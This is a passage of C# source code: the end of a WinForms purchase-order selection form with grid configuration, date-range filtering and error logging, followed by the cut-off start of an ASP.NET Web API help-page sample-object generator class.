resources.GetString("dgrdData.AccessibleDescription"); this.dgrdData.AccessibleName = resources.GetString("dgrdData.AccessibleName"); this.dgrdData.AllowAddNew = ((bool)(resources.GetObject("dgrdData.AllowAddNew"))); this.dgrdData.AllowArrows = ((bool)(resources.GetObject("dgrdData.AllowArrows"))); this.dgrdData.AllowColMove = ((bool)(resources.GetObject("dgrdData.AllowColMove"))); this.dgrdData.AllowColSelect = ((bool)(resources.GetObject("dgrdData.AllowColSelect"))); this.dgrdData.AllowDelete = ((bool)(resources.GetObject("dgrdData.AllowDelete"))); this.dgrdData.AllowDrag = ((bool)(resources.GetObject("dgrdData.AllowDrag"))); this.dgrdData.AllowFilter = ((bool)(resources.GetObject("dgrdData.AllowFilter"))); this.dgrdData.AllowHorizontalSplit = ((bool)(resources.GetObject("dgrdData.AllowHorizontalSplit"))); this.dgrdData.AllowRowSelect = ((bool)(resources.GetObject("dgrdData.AllowRowSelect"))); this.dgrdData.AllowSort = ((bool)(resources.GetObject("dgrdData.AllowSort"))); this.dgrdData.AllowUpdate = ((bool)(resources.GetObject("dgrdData.AllowUpdate"))); this.dgrdData.AllowUpdateOnBlur = ((bool)(resources.GetObject("dgrdData.AllowUpdateOnBlur"))); this.dgrdData.AllowVerticalSplit = ((bool)(resources.GetObject("dgrdData.AllowVerticalSplit"))); this.dgrdData.AlternatingRows = ((bool)(resources.GetObject("dgrdData.AlternatingRows"))); this.dgrdData.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("dgrdData.Anchor"))); this.dgrdData.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("dgrdData.BackgroundImage"))); this.dgrdData.BorderStyle = ((System.Windows.Forms.BorderStyle)(resources.GetObject("dgrdData.BorderStyle"))); this.dgrdData.Caption = resources.GetString("dgrdData.Caption"); this.dgrdData.CaptionHeight = ((int)(resources.GetObject("dgrdData.CaptionHeight"))); this.dgrdData.CellTipsDelay = ((int)(resources.GetObject("dgrdData.CellTipsDelay"))); this.dgrdData.CellTipsWidth = ((int)(resources.GetObject("dgrdData.CellTipsWidth"))); this.dgrdData.ChildGrid = ((C1.Win.C1TrueDBGrid.C1TrueDBGrid)(resources.GetObject("dgrdData.ChildGrid"))); this.dgrdData.CollapseColor = ((System.Drawing.Color)(resources.GetObject("dgrdData.CollapseColor"))); this.dgrdData.ColumnFooters = ((bool)(resources.GetObject("dgrdData.ColumnFooters"))); this.dgrdData.ColumnHeaders = ((bool)(resources.GetObject("dgrdData.ColumnHeaders"))); this.dgrdData.DefColWidth = ((int)(resources.GetObject("dgrdData.DefColWidth"))); this.dgrdData.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("dgrdData.Dock"))); this.dgrdData.EditDropDown = ((bool)(resources.GetObject("dgrdData.EditDropDown"))); this.dgrdData.EmptyRows = ((bool)(resources.GetObject("dgrdData.EmptyRows"))); this.dgrdData.Enabled = ((bool)(resources.GetObject("dgrdData.Enabled"))); this.dgrdData.ExpandColor = ((System.Drawing.Color)(resources.GetObject("dgrdData.ExpandColor"))); this.dgrdData.ExposeCellMode = ((C1.Win.C1TrueDBGrid.ExposeCellModeEnum)(resources.GetObject("dgrdData.ExposeCellMode"))); this.dgrdData.ExtendRightColumn = ((bool)(resources.GetObject("dgrdData.ExtendRightColumn"))); this.dgrdData.FetchRowStyles = ((bool)(resources.GetObject("dgrdData.FetchRowStyles"))); this.dgrdData.FilterBar = ((bool)(resources.GetObject("dgrdData.FilterBar"))); this.dgrdData.FlatStyle = ((C1.Win.C1TrueDBGrid.FlatModeEnum)(resources.GetObject("dgrdData.FlatStyle"))); this.dgrdData.Font = ((System.Drawing.Font)(resources.GetObject("dgrdData.Font"))); this.dgrdData.GroupByAreaVisible = ((bool)(resources.GetObject("dgrdData.GroupByAreaVisible"))); this.dgrdData.GroupByCaption = resources.GetString("dgrdData.GroupByCaption"); this.dgrdData.Images.Add(((System.Drawing.Image)(resources.GetObject("resource")))); this.dgrdData.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("dgrdData.ImeMode"))); this.dgrdData.LinesPerRow = ((int)(resources.GetObject("dgrdData.LinesPerRow"))); this.dgrdData.Location = ((System.Drawing.Point)(resources.GetObject("dgrdData.Location"))); this.dgrdData.MarqueeStyle = C1.Win.C1TrueDBGrid.MarqueeEnum.DottedCellBorder; this.dgrdData.Name = "dgrdData"; this.dgrdData.PictureAddnewRow = ((System.Drawing.Image)(resources.GetObject("dgrdData.PictureAddnewRow"))); this.dgrdData.PictureCurrentRow = ((System.Drawing.Image)(resources.GetObject("dgrdData.PictureCurrentRow"))); this.dgrdData.PictureFilterBar = ((System.Drawing.Image)(resources.GetObject("dgrdData.PictureFilterBar"))); this.dgrdData.PictureFooterRow = ((System.Drawing.Image)(resources.GetObject("dgrdData.PictureFooterRow"))); this.dgrdData.PictureHeaderRow = ((System.Drawing.Image)(resources.GetObject("dgrdData.PictureHeaderRow"))); this.dgrdData.PictureModifiedRow = ((System.Drawing.Image)(resources.GetObject("dgrdData.PictureModifiedRow"))); this.dgrdData.PictureStandardRow = ((System.Drawing.Image)(resources.GetObject("dgrdData.PictureStandardRow"))); this.dgrdData.PreviewInfo.AllowSizing = ((bool)(resources.GetObject("dgrdData.PreviewInfo.AllowSizing"))); this.dgrdData.PreviewInfo.Caption = resources.GetString("dgrdData.PreviewInfo.Caption"); this.dgrdData.PreviewInfo.Location = ((System.Drawing.Point)(resources.GetObject("dgrdData.PreviewInfo.Location"))); this.dgrdData.PreviewInfo.Size = ((System.Drawing.Size)(resources.GetObject("dgrdData.PreviewInfo.Size"))); this.dgrdData.PreviewInfo.ToolBars = ((bool)(resources.GetObject("dgrdData.PreviewInfo.ToolBars"))); this.dgrdData.PreviewInfo.UIStrings.Content = ((string[])(resources.GetObject("dgrdData.PreviewInfo.UIStrings.Content"))); this.dgrdData.PreviewInfo.ZoomFactor = ((System.Double)(resources.GetObject("dgrdData.PreviewInfo.ZoomFactor"))); this.dgrdData.PrintInfo.MaxRowHeight = ((int)(resources.GetObject("dgrdData.PrintInfo.MaxRowHeight"))); this.dgrdData.PrintInfo.OwnerDrawPageFooter = ((bool)(resources.GetObject("dgrdData.PrintInfo.OwnerDrawPageFooter"))); this.dgrdData.PrintInfo.OwnerDrawPageHeader = ((bool)(resources.GetObject("dgrdData.PrintInfo.OwnerDrawPageHeader"))); this.dgrdData.PrintInfo.PageFooter = resources.GetString("dgrdData.PrintInfo.PageFooter"); this.dgrdData.PrintInfo.PageFooterHeight = ((int)(resources.GetObject("dgrdData.PrintInfo.PageFooterHeight"))); this.dgrdData.PrintInfo.PageHeader = resources.GetString("dgrdData.PrintInfo.PageHeader"); this.dgrdData.PrintInfo.PageHeaderHeight = ((int)(resources.GetObject("dgrdData.PrintInfo.PageHeaderHeight"))); this.dgrdData.PrintInfo.PrintHorizontalSplits = ((bool)(resources.GetObject("dgrdData.PrintInfo.PrintHorizontalSplits"))); this.dgrdData.PrintInfo.ProgressCaption = resources.GetString("dgrdData.PrintInfo.ProgressCaption"); this.dgrdData.PrintInfo.RepeatColumnFooters = ((bool)(resources.GetObject("dgrdData.PrintInfo.RepeatColumnFooters"))); this.dgrdData.PrintInfo.RepeatColumnHeaders = ((bool)(resources.GetObject("dgrdData.PrintInfo.RepeatColumnHeaders"))); this.dgrdData.PrintInfo.RepeatGridHeader = ((bool)(resources.GetObject("dgrdData.PrintInfo.RepeatGridHeader"))); this.dgrdData.PrintInfo.RepeatSplitHeaders = ((bool)(resources.GetObject("dgrdData.PrintInfo.RepeatSplitHeaders"))); this.dgrdData.PrintInfo.ShowOptionsDialog = ((bool)(resources.GetObject("dgrdData.PrintInfo.ShowOptionsDialog"))); this.dgrdData.PrintInfo.ShowProgressForm = ((bool)(resources.GetObject("dgrdData.PrintInfo.ShowProgressForm"))); this.dgrdData.PrintInfo.ShowSelection = ((bool)(resources.GetObject("dgrdData.PrintInfo.ShowSelection"))); this.dgrdData.PrintInfo.UseGridColors = ((bool)(resources.GetObject("dgrdData.PrintInfo.UseGridColors"))); this.dgrdData.RecordSelectors = ((bool)(resources.GetObject("dgrdData.RecordSelectors"))); this.dgrdData.RecordSelectorWidth = ((int)(resources.GetObject("dgrdData.RecordSelectorWidth"))); this.dgrdData.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("dgrdData.RightToLeft"))); this.dgrdData.RowDivider.Color = ((System.Drawing.Color)(resources.GetObject("resource.Color"))); this.dgrdData.RowDivider.Style = ((C1.Win.C1TrueDBGrid.LineStyleEnum)(resources.GetObject("resource.Style"))); this.dgrdData.RowHeight = ((int)(resources.GetObject("dgrdData.RowHeight"))); this.dgrdData.RowSubDividerColor = ((System.Drawing.Color)(resources.GetObject("dgrdData.RowSubDividerColor"))); this.dgrdData.ScrollTips = ((bool)(resources.GetObject("dgrdData.ScrollTips"))); this.dgrdData.ScrollTrack = ((bool)(resources.GetObject("dgrdData.ScrollTrack"))); this.dgrdData.Size = ((System.Drawing.Size)(resources.GetObject("dgrdData.Size"))); this.dgrdData.SpringMode = ((bool)(resources.GetObject("dgrdData.SpringMode"))); this.dgrdData.TabAcrossSplits = ((bool)(resources.GetObject("dgrdData.TabAcrossSplits"))); this.dgrdData.TabIndex = ((int)(resources.GetObject("dgrdData.TabIndex"))); this.dgrdData.Text = resources.GetString("dgrdData.Text"); this.dgrdData.ViewCaptionWidth = ((int)(resources.GetObject("dgrdData.ViewCaptionWidth"))); this.dgrdData.ViewColumnWidth = ((int)(resources.GetObject("dgrdData.ViewColumnWidth"))); this.dgrdData.Visible = ((bool)(resources.GetObject("dgrdData.Visible"))); this.dgrdData.WrapCellPointer = ((bool)(resources.GetObject("dgrdData.WrapCellPointer"))); this.dgrdData.AfterColUpdate += new C1.Win.C1TrueDBGrid.ColEventHandler(this.dgrdData_AfterColUpdate); this.dgrdData.PropBag = resources.GetString("dgrdData.PropBag"); // // SelectPurchaseOrders // this.AccessibleDescription = resources.GetString("$this.AccessibleDescription"); this.AccessibleName = resources.GetString("$this.AccessibleName"); this.AutoScaleBaseSize = ((System.Drawing.Size)(resources.GetObject("$this.AutoScaleBaseSize"))); this.AutoScroll = ((bool)(resources.GetObject("$this.AutoScroll"))); this.AutoScrollMargin = ((System.Drawing.Size)(resources.GetObject("$this.AutoScrollMargin"))); this.AutoScrollMinSize = ((System.Drawing.Size)(resources.GetObject("$this.AutoScrollMinSize"))); this.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("$this.BackgroundImage"))); this.CancelButton = this.btnClose; this.ClientSize = ((System.Drawing.Size)(resources.GetObject("$this.ClientSize"))); this.Controls.Add(this.dgrdData); this.Controls.Add(this.txtBeginPO); this.Controls.Add(this.dtmToDeliveryDate); this.Controls.Add(this.dtmFromDeliveryDate); this.Controls.Add(this.lblToDeliveryDate); this.Controls.Add(this.btnSearch); this.Controls.Add(this.btnSearchBeginPO); this.Controls.Add(this.lblFromDeliveryDate); this.Controls.Add(this.lblPO); this.Controls.Add(this.btnClose); this.Controls.Add(this.btnHelp); this.Controls.Add(this.btnSelect); this.Controls.Add(this.chkSelectAll); this.Enabled = ((bool)(resources.GetObject("$this.Enabled"))); this.Font = ((System.Drawing.Font)(resources.GetObject("$this.Font"))); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("$this.ImeMode"))); this.KeyPreview = true; this.Location = ((System.Drawing.Point)(resources.GetObject("$this.Location"))); this.MaximumSize = ((System.Drawing.Size)(resources.GetObject("$this.MaximumSize"))); this.MinimumSize = ((System.Drawing.Size)(resources.GetObject("$this.MinimumSize"))); this.Name = "SelectPurchaseOrders"; this.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("$this.RightToLeft"))); this.StartPosition = ((System.Windows.Forms.FormStartPosition)(resources.GetObject("$this.StartPosition"))); this.Text = resources.GetString("$this.Text"); this.Closing += new System.ComponentModel.CancelEventHandler(this.SelectPurchaseOrders_Closing); this.Load += new System.EventHandler(this.SelectPurchaseOrders_Load); ((System.ComponentModel.ISupportInitialize)(this.dtmToDeliveryDate)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.dtmFromDeliveryDate)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.dgrdData)).EndInit(); this.ResumeLayout(false); } #endregion #region Private Methods /// <summary> /// Fill related data on controls when select Payment Term /// </summary> /// <param name="pblnOpenOnly"></param> private void SelectPONo(string pstrMethodName, bool pblnOpenOnly) { try { Hashtable htbCriteria = new Hashtable(); DataRowView drwResult = null; htbCriteria.Add(PO_PurchaseOrderMasterTable.CCNID_FLD, mhtbCondition[PO_PurchaseOrderMasterTable.CCNID_FLD]); htbCriteria.Add(PO_PurchaseOrderMasterTable.PARTYID_FLD, mhtbCondition[PO_PurchaseOrderMasterTable.PARTYID_FLD]); //Call OpenSearchForm for selecting MPS planning cycle drwResult = FormControlComponents.OpenSearchForm(UNCLOSE_PO_4_INVOICE_VIEW, PO_PurchaseOrderMasterTable.TABLE_NAME + PO_PurchaseOrderMasterTable.CODE_FLD, txtBeginPO.Text, htbCriteria, pblnOpenOnly); // If has Master location matched searching condition, fill values to form's controls if (drwResult != null) { //Check if data was changed then reassign txtBeginPO.Text = drwResult[PO_PurchaseOrderMasterTable.TABLE_NAME + PO_PurchaseOrderMasterTable.CODE_FLD].ToString(); //Reset modify status txtBeginPO.Modified = false; } else { if(!pblnOpenOnly) { txtBeginPO.Focus(); } } } catch (PCSException ex) { throw new PCSException(ex.mCode, pstrMethodName, ex); } catch (Exception ex) { throw new Exception(ex.Message, ex); } } /// <summary> /// Processign Enter event /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void OnEnterControl(object sender, System.EventArgs e) { const string METHOD_NAME = THIS + ".OnEnterControl()"; try { FormControlComponents.OnEnterControl(sender, e); } catch (Exception ex) { // displays the error message. PCSMessageBox.Show(ErrorCode.OTHER_ERROR, MessageBoxButtons.OK, MessageBoxIcon.Error); // log message. try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxButtons.OK, MessageBoxIcon.Error); } } } /// <summary> /// Processign Leave event /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void OnLeaveControl(object sender, System.EventArgs e) { const string METHOD_NAME = THIS + ".OnLeaveControl()"; try { FormControlComponents.OnLeaveControl(sender, e); } catch (Exception ex) { // displays the error message. PCSMessageBox.Show(ErrorCode.OTHER_ERROR, MessageBoxButtons.OK, MessageBoxIcon.Error); // log message. try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxButtons.OK, MessageBoxIcon.Error); } } } #endregion Private Methods #region Event Processing private void SelectPurchaseOrders_Load(object sender, System.EventArgs e) { const string METHOD_NAME = THIS + ".SelectPurchaseOrders_Load()"; try { //Set form security Security objSecurity = new Security(); this.Name = THIS; if (objSecurity.SetRightForUserOnForm(this, SystemProperty.UserName) == 0) { // You don't have the right to view this item PCSMessageBox.Show(ErrorCode.MESSAGE_YOU_HAVE_NO_RIGHT_TO_VIEW, MessageBoxIcon.Warning); this.Close(); return; } //store the gridlayout dtStoreGridLayout = FormControlComponents.StoreGridLayout(dgrdData); //Call the method in the BO Class to search for Work Order Line POInvoiceBO boInvoice = new POInvoiceBO(); dtbData = boInvoice.SelectPO4Invoice(mhtbCondition); dgrdData.DataSource = dtbData; FormatDataGrid(); } catch (Exception ex) { // displays the error message. PCSMessageBox.Show(ErrorCode.OTHER_ERROR,MessageBoxIcon.Error); // log message. try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION,MessageBoxIcon.Error); } } } /// <summary> /// Display the detail data after searching into the grid set layout for the grid /// </summary> /// <param name="dtData"></param> private void FormatDataGrid() { try { //Restore the gridLayout FormControlComponents.RestoreGridLayout(dgrdData,dtStoreGridLayout); for(int i =0; i < dgrdData.Splits[0].DisplayColumns.Count; i++) { dgrdData.Splits[0].DisplayColumns[i].Locked = true; } dgrdData.Columns[PO_PurchaseOrderMasterTable.ORDERDATE_FLD].NumberFormat = Constants.DATETIME_FORMAT_HOUR; dgrdData.Columns[PO_DeliveryScheduleTable.SCHEDULEDATE_FLD].NumberFormat = Constants.DATETIME_FORMAT_HOUR; dgrdData.Columns[PO_DeliveryScheduleTable.DELIVERYQUANTITY_FLD].NumberFormat = Constants.DECIMAL_NUMBERFORMAT; dgrdData.Columns[PO_PurchaseOrderDetailTable.TABLE_NAME + PO_PurchaseOrderDetailTable.UNITPRICE_FLD].NumberFormat = Constants.DECIMAL_NUMBERFORMAT; dgrdData.Columns[PO_PurchaseOrderDetailTable.TABLE_NAME + PO_PurchaseOrderDetailTable.VAT_FLD].NumberFormat = Constants.DECIMAL_NUMBERFORMAT; dgrdData.Columns[PO_PurchaseOrderDetailTable.TABLE_NAME + PO_PurchaseOrderDetailTable.SPECIALTAX_FLD].NumberFormat = Constants.DECIMAL_NUMBERFORMAT; dgrdData.Columns[PO_PurchaseOrderDetailTable.TABLE_NAME + PO_PurchaseOrderDetailTable.IMPORTTAX_FLD].NumberFormat = Constants.DECIMAL_NUMBERFORMAT; dgrdData.Splits[0].DisplayColumns[SELECTED_COL].Locked = false; //set the selected to be the check box dgrdData.Columns[SELECTED_COL].ValueItems.Presentation = C1.Win.C1TrueDBGrid.PresentationEnum.CheckBox; dgrdData.Columns[SELECTED_COL].DefaultValue = false.ToString(); dgrdData.Columns[SELECTED_COL].ValueItems.Translate = true; } catch (PCSException ex) { throw ex; } catch (Exception ex) { throw new Exception(ex.Message, ex); } } public void btnSearch_Click(object sender, System.EventArgs e) { const string METHOD_NAME = THIS + ".btnSearch_Click()"; const string SQL_DATE_FORMAT = "yyyy-MM-dd"; const string END_TIME_OF_DAY = " 23:59:59"; try { string strFilter = string.Empty; bool blnHasFromPostDate = false; if(txtBeginPO.Text.Length > 0) { strFilter += PO_PurchaseOrderMasterTable.TABLE_NAME + PO_PurchaseOrderMasterTable.CODE_FLD; strFilter += " = '" + txtBeginPO.Text.Replace("'", "''") + "' "; } //if has From Post Date if(!dtmFromDeliveryDate.ValueIsDbNull && (dtmFromDeliveryDate.Text.Trim() != string.Empty)) { if(strFilter.Length > 0) { strFilter += " AND " + PO_DeliveryScheduleTable.SCHEDULEDATE_FLD; strFilter += " >= '" + DateTime.Parse(dtmFromDeliveryDate.Value.ToString()).ToString(SQL_DATE_FORMAT) + "' "; } else { strFilter += PO_DeliveryScheduleTable.SCHEDULEDATE_FLD; strFilter += " >= '" + DateTime.Parse(dtmFromDeliveryDate.Value.ToString()).ToString(SQL_DATE_FORMAT) + "' "; } blnHasFromPostDate = true; } //if has To Post Date if(!dtmToDeliveryDate.ValueIsDbNull && (dtmToDeliveryDate.Text.Trim() != string.Empty)) { if(blnHasFromPostDate) { DateTime dtmTmpFromDate = DateTime.Parse(((DateTime)dtmFromDeliveryDate.Value).ToString(SQL_DATE_FORMAT)); DateTime dtmTmpToDate = DateTime.Parse(((DateTime)dtmToDeliveryDate.Value).ToString(SQL_DATE_FORMAT)); if(dtmTmpFromDate > dtmTmpToDate) { PCSMessageBox.Show(ErrorCode.MESSAGE_MP_PERIODDATE, MessageBoxIcon.Exclamation); dtmToDeliveryDate.Focus(); return; } } if(strFilter.Length > 0) { strFilter += " AND " + PO_DeliveryScheduleTable.SCHEDULEDATE_FLD; strFilter += " <= '" + DateTime.Parse(dtmToDeliveryDate.Value.ToString()).ToString(SQL_DATE_FORMAT) + END_TIME_OF_DAY + "'"; } else { strFilter += PO_DeliveryScheduleTable.SCHEDULEDATE_FLD; strFilter += " <= '" + DateTime.Parse(dtmToDeliveryDate.Value.ToString()).ToString(SQL_DATE_FORMAT) + END_TIME_OF_DAY + "'"; } } //Filter data source by condition dtbData.DefaultView.RowFilter = strFilter; dgrdData.Refresh(); } catch (PCSException ex) { // displays the error message. PCSMessageBox.Show(ex.mCode,MessageBoxIcon.Error); // log message. try { Logger.LogMessage(ex.CauseException, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION,MessageBoxIcon.Error); } } catch (Exception ex) { // displays the error message. PCSMessageBox.Show(ErrorCode.OTHER_ERROR,MessageBoxIcon.Error); // log message. try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION,MessageBoxIcon.Error); } } } /// <summary> /// Search for specific WORK Order /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnSearchBeginPO_Click(object sender, System.EventArgs e) { const string METHOD_NAME = THIS + ".btnVendorName_Click()"; try { SelectPONo(METHOD_NAME, true); } catch (PCSException ex) { PCSMessageBox.Show(ex.mCode, MessageBoxIcon.Error); try { Logger.LogMessage(ex.CauseException, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxIcon.Error); } } catch (Exception ex) { PCSMessageBox.Show(ErrorCode.OTHER_ERROR, MessageBoxIcon.Error); try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxIcon.Error); } } } private void btnClose_Click(object sender, System.EventArgs e) { const string METHOD_NAME = THIS + ".btnClose_Click"; try { mSelectedRows = new Hashtable(); this.DialogResult = DialogResult.No; this.Close(); } catch (Exception ex) { // displays the error message. PCSMessageBox.Show(ErrorCode.OTHER_ERROR, MessageBoxButtons.OK, MessageBoxIcon.Error); // log message. try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxButtons.OK, MessageBoxIcon.Error); } } } private void chkSelectAll_Click(object sender, System.EventArgs e) { const string METHOD_NAME = THIS + ".chkSelectAll_Click"; try { for (int i=0 ; i < dgrdData.RowCount; i++) { dgrdData[i, SELECTED_COL] = chkSelectAll.Checked? 1: 0; } dgrdData.UpdateData(); } catch (Exception ex) { // displays the error message. PCSMessageBox.Show(ErrorCode.OTHER_ERROR, MessageBoxButtons.OK, MessageBoxIcon.Error); // log message. try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxButtons.OK, MessageBoxIcon.Error); } } } private void dgrdData_BeforeColEdit(object sender, C1.Win.C1TrueDBGrid.BeforeColEditEventArgs e) { const string METHOD_NAME = THIS + ".dgrdData_BeforeColEdit"; try { if (e.Column.DataColumn.DataField != SELECTED_COL) { e.Cancel = true; } } catch (Exception ex) { // displays the error message. PCSMessageBox.Show(ErrorCode.OTHER_ERROR, MessageBoxButtons.OK, MessageBoxIcon.Error); // log message. try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxButtons.OK, MessageBoxIcon.Error); } } } private void btnSelect_Click(object sender, System.EventArgs e) { const string METHOD_NAME = THIS + ".btnSelect_Click"; try { int intIndex = 0; mSelectedRows = new Hashtable(); for(int i =0; i< dtbData.Rows.Count; i++) { if(bool.Parse(dtbData.Rows[i][SELECTED_COL].ToString())) { mSelectedRows.Add(intIndex++, dtbData.Rows[i]); } } if(mSelectedRows.Count == 0) { PCSMessageBox.Show(ErrorCode.MESSAGE_RGV_MUST_SELECT_PURCHASE_ORDER, MessageBoxButtons.OK, MessageBoxIcon.Exclamation); return; } this.DialogResult = DialogResult.OK; this.Close(); } catch (Exception ex) { // displays the error message. PCSMessageBox.Show(ErrorCode.OTHER_ERROR, MessageBoxButtons.OK, MessageBoxIcon.Error); // log message. try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxButtons.OK, MessageBoxIcon.Error); } } } private void txtBeginPO_Leave(object sender, EventArgs e) { const string METHOD_NAME = THIS + ".txtBeginPO_Leave()"; try { OnLeaveControl(sender, e); //Exit immediately if BIN is empty if(txtBeginPO.Text.Length == 0) { txtBeginPO.Tag = ZERO_STRING; return; } else if(!txtBeginPO.Modified) { return; } SelectPONo(METHOD_NAME, false); } catch (PCSException ex) { PCSMessageBox.Show(ex.mCode, MessageBoxIcon.Error); try { Logger.LogMessage(ex.CauseException, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxIcon.Error); } } catch (Exception ex) { PCSMessageBox.Show(ErrorCode.OTHER_ERROR, MessageBoxIcon.Error); try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxIcon.Error); } } } private void txtBeginPO_KeyDown(object sender, KeyEventArgs e) { const string METHOD_NAME = THIS + ".txtBeginPO_KeyDown()"; try { if ((e.KeyCode == Keys.F4) && (btnSearchBeginPO.Enabled)) { SelectPONo(METHOD_NAME, true); } } catch (PCSException ex) { PCSMessageBox.Show(ex.mCode, MessageBoxIcon.Error); try { Logger.LogMessage(ex.CauseException, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxIcon.Error); } } catch (Exception ex) { PCSMessageBox.Show(ErrorCode.OTHER_ERROR, MessageBoxIcon.Error); try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxIcon.Error); } } } private void SelectPurchaseOrders_Closing(object sender, CancelEventArgs e) { try { if(this.DialogResult != DialogResult.OK) { mSelectedRows = new Hashtable(); } } catch {} } private void dgrdData_AfterColUpdate(object sender, C1.Win.C1TrueDBGrid.ColEventArgs e) { const string METHOD_NAME = THIS + ".dgrdData_AfterColUpdate()"; try { if(e.Column.DataColumn.DataField == SELECTED_COL) { bool blnCheckAll = true; for(int i =0; i < dgrdData.RowCount; i++) { blnCheckAll &= bool.Parse(dgrdData[i, SELECTED_COL].ToString()); } chkSelectAll.Checked = blnCheckAll; } } catch (Exception ex) { PCSMessageBox.Show(ErrorCode.OTHER_ERROR, MessageBoxIcon.Error); try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxIcon.Error); } } } private void dtmFromPostDate_Validating(object sender, System.ComponentModel.CancelEventArgs e) { const string METHOD_NAME = THIS + ".dtmFromPostDate_Validating()"; try { if(!dtmFromDeliveryDate.ValueIsDbNull && !dtmFromDeliveryDate.Text.Trim().Equals(string.Empty) && !dtmToDeliveryDate.ValueIsDbNull && !dtmToDeliveryDate.Text.Trim().Equals(string.Empty) ) { if(DateTime.Parse(dtmFromDeliveryDate.Value.ToString()) > DateTime.Parse(dtmToDeliveryDate.Value.ToString())) { PCSMessageBox.Show(ErrorCode.MESSAGE_MP_PERIODDATE, MessageBoxIcon.Exclamation); e.Cancel = true; } } } catch (Exception ex) { PCSMessageBox.Show(ErrorCode.OTHER_ERROR, MessageBoxIcon.Error); try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxIcon.Error); } } } private void dtmToPostDate_Validating(object sender, System.ComponentModel.CancelEventArgs e) { const string METHOD_NAME = THIS + ".dtmToPostDate_Validating()"; try { if(!dtmFromDeliveryDate.ValueIsDbNull && !dtmFromDeliveryDate.Text.Trim().Equals(string.Empty) && !dtmToDeliveryDate.ValueIsDbNull && !dtmToDeliveryDate.Text.Trim().Equals(string.Empty) ) { if(DateTime.Parse(dtmFromDeliveryDate.Value.ToString()) > DateTime.Parse(dtmToDeliveryDate.Value.ToString())) { PCSMessageBox.Show(ErrorCode.MESSAGE_MP_PERIODDATE, MessageBoxIcon.Exclamation); e.Cancel = true; } } } catch(Exception ex) { PCSMessageBox.Show(ErrorCode.OTHER_ERROR, MessageBoxIcon.Error); try { Logger.LogMessage(ex, METHOD_NAME, Level.ERROR); } catch { PCSMessageBox.Show(ErrorCode.LOG_EXCEPTION, MessageBoxIcon.Error); } } } #endregion Event Processing } }
using System; using System.Collections; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Linq; using System.Reflection; namespace Forum.WebApi.Areas.HelpPage { /// <summary> /// This class will create an object of a given type and populate it with sample data. /// </summary> public class ObjectGenerator { internal const int DefaultCollectionSize = 2; private readonly SimpleTypeObjectGenerator SimpleObjectGenerator = new SimpleTypeObjectGenerator(); /// <summary> /// Generates an object for a given type. The type needs to be public, have a public default constructor and settable public properties/fields. Currently it supports the following types: /// Simple types: <see cref="int"/>, <see cref="string"/>, <see cref="Enum"/>, <see cref="DateTime"/>, <see cref="Uri"/>, etc. /// Complex types: POCO types. /// Nullables: <see cref="Nullable{T}"/>. /// Arrays: arrays of simple types or complex types. /// Key value pairs: <see cref="KeyValuePair{TKey,TValue}"/> /// Tuples: <see cref="Tuple{T1}"/>, <see cref="Tuple{T1,T2}"/>, etc /// Dictionaries: <see cref="IDictionary{TKey,TValue}"/> or anything deriving from <see cref="IDictionary{TKey,TValue}"/>. /// Collections: <see cref="IList{T}"/>, <see cref="IEnumerable{T}"/>, <see cref="ICollection{T}"/>, <see cref="IList"/>, <see cref="IEnumerable"/>, <see cref="ICollection"/> or anything deriving from <see cref="ICollection{T}"/> or <see cref="IList"/>. /// Queryables: <see cref="IQueryable"/>, <see cref="IQueryable{T}"/>. /// </summary> /// <param name="type">The type.</param> /// <returns>An object of the given 